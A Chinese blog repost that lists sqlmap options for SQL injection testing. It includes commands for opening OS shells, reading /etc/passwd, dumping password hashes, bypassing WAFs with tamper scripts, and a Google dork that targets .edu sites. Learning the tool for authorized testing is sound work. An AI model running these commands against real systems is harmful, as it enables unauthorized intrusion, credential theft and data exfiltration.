sqlmap参数介绍

前言:为什么要发这篇文章,因为找的太麻烦,如有侵犯联系删除

 

查看帮助文档

-h
-hh 更详细的使用说明

无法连接时,维持连接

--keep-alive  //一般配合绕过方法使用,以及ua绕过使用

 

使用随机user-agent请求头
--random-agent

 

使用特定的某一种或者几种注入手段,例如 时间盲注
--technique=T

 

指定注入参数
-p "id"

 

指定包含注入点的url
-u "http://www.test.com/index.php?id=12"

 

设置请求的cookie
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

 

指定使用post方法请求时,post的数据
--data="id=3"

 

解析包含表单的页面参数
--forms

 

刷新session,用于对注入点的重新注入
--flush-session

 

使用默认的选项进行注入,无需用户输入和交互
--batch

 

面向初学者的友好参数
--wizard

 

使用十六进制解析数据
--hex

 

设置编码
--encoding=GBK

 

注册表操作
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type

 

指定操作系统
--os=windows

 

操作系统相关操作
执行系统命令(非交互)
--os-cmd=whoami


执行系统命令(交互式)
--os-shell

–os-pwn Prompt for an OOB shell, Meterpreter or VNC
–os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework is installed
–tmp-path=TMPPATH Remote absolute path of temporary files directory

 

文件读写操作
读取文件内容
--file-read="/etc/passwd"

 

写入文件
--file-write="/path/local/file" --file-dest="/path/remote/file"

 

使用用户自定义函数
--udf-inject

 

暴力破解
当遇到access数据库或者mysql数据库版本较低(没有information_schema数据库)时,只能使用字典猜解数据库的表名和字段名等信息。
表名猜解
--common-tables


字段名猜解
--common-columns

 

设置请求延时(默认5秒),当网络较差时使用
--time-sec=6

 

设置注入等级,有些注入 例如cookie注入,需要较高的等级
--level=3

 

设置注入关键词,即当返回预期的页面时包含的某个字符串
--string="success"


也可以使用正则表达式
--regexp="uid\d+"

 

设置线程数
--threads=10

 

执行python代码
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

 

使用HTTP参数污染
--hpp

 

开启参数优化
-o

 

请求之间的延迟
--delay=3

 

设置连接超时(默认30秒)
--timeout=15

 

设置遇到超时后的重试次数(默认3次)
--retries=5

 

使用代理

--proxy="http://127.0.0.1:8080"
--proxy-cred="name:password"
--proxy-file="proxy_list.txt"

指定user-agent
--user-agent="sadsadasd"

 

指定http请求方法
--method=PUT

 

指定请求头

-H "X-Forwarded-For: 127.0.0.1"
--headers "Accept-Language: fr\nETag: 123"

指定referer
--referer=REFERER

 

指定数据库类型
``–dbms=mysql```

 

指定payload的前缀
--prefix=PREFIX

 

指定payload的后缀
--suffix=SUFFIX

 

使用自定义脚本
--tamper=between


自定义脚本,是指用户可以根据需要,对sqlmap的默认payload进行自定义修改,例如使用替换、编码和函数对一些注入字符进行处理,达到绕过waf的目的,是sqlmap最强大的功能之一。

数据库指纹探测

-f
--fingerprint

执行sql语句(非交互)
--sql-query=QUERY

 

执行sql语句(交互式)
--sql-shell

 

执行文件中的sql语句
--sql-file=SQLFILE.txt

 

获取数据库banner信息

-b
--banner

查看当前数据库用户
--current-user

 

查看当前数据库
--current-db

 

查看是否为dba用户
--is-dba

 

解析数据库用户
--users

 

解析数据库账号密码hash
--passwords

 

查看数据库用户权限
--privileges

 

查看数据库用户role
--roles

 

解析数据库名

-D
--dbs

解析数据库中的表名

-T
--tables

解析数据表中的字段名

-C
--columns

数据表中数据条数
--count

 

导出指定数据表中的内容
--dump

 

导出所有数据库中数据表中的内容
--dump-all

 

解析数据库中的表名时,排除系统数据库
--exclude-sysdbs

 

sqlmap结合burp suite的使用
(1)单一请求
将burp suite中的某个请求保存到123.txt文件中

GET /r/collect?v=1&_v=j46&a=171173639*&t=pageview&_s=1&dl=http%3A%2F%2Fmuchong.com%2Ff-133-1-typeid-34&ul=zh-cn&de=GBK&dt=%2F%E5%B0%8F%E6%9C%A8%E8%99%AB%2F%5B%E5%A4%A7%E5%8C%BA%5D%E7%BD%91%E7%BB%9C%E7%94%9F%E6%B4%BB%E5%8C%BA%2F%5B%E6%9D%BF%E5%9D%97%5D%E8%99%AB%E5%8F%8B%E4%BA%92%E8%AF%86%2F%5B%E5%88%86%E7%B1%BB%5D%E8%AF%9A%E5%BE%81%E7%94%B7%E5%8F%8B&sd=24-bit&sr=1536x864&vp=1519x722&je=0&_u=QACAAEABI~&jid=798689456&cid=1166606190.1534286887&uid=570720&tid=UA-1947017-8&_r=1&z=1729239525 HTTP/1.1
Host: www.google-analytics.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.34 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

注意在请求的”a=171173639“后面添加了星号 * ,表示a参数为待测试参数,使用sqlmap进行注入测试:
python sqlmap.py -r "C:\Users\Administrator\Desktop\123.txt"

 

(2)请求记录
将burp suite的请求记录导出到文件req.log,使用sqlmap进行注入测试:
python sqlmap.py -l "C:\Users\Administrator\Desktop\req.log"

将待测试的多个url保存到文件1.txt,文件内容举例:

http://www.a.com/index.php?id=1
http://www.b.com/index.asp?id=1
http://www.c.com/index.jsp?id=1

使用sqlmap进行注入测试:
python sqlmap.py -m "C:\Users\Administrator\Desktop\1.txt"

使用google搜索结果作为url输入


-g "inurl:php?id= site:edu"
由于国内对谷歌的访问较难实现,因此这个方法需要....才行

 

文章来源:https://blog.csdn.net/shadow20112011/article/details/104244004

posted @ 2020-10-29 09:31  小菜鸟当黑客  阅读(2354)  评论(0编辑  收藏  举报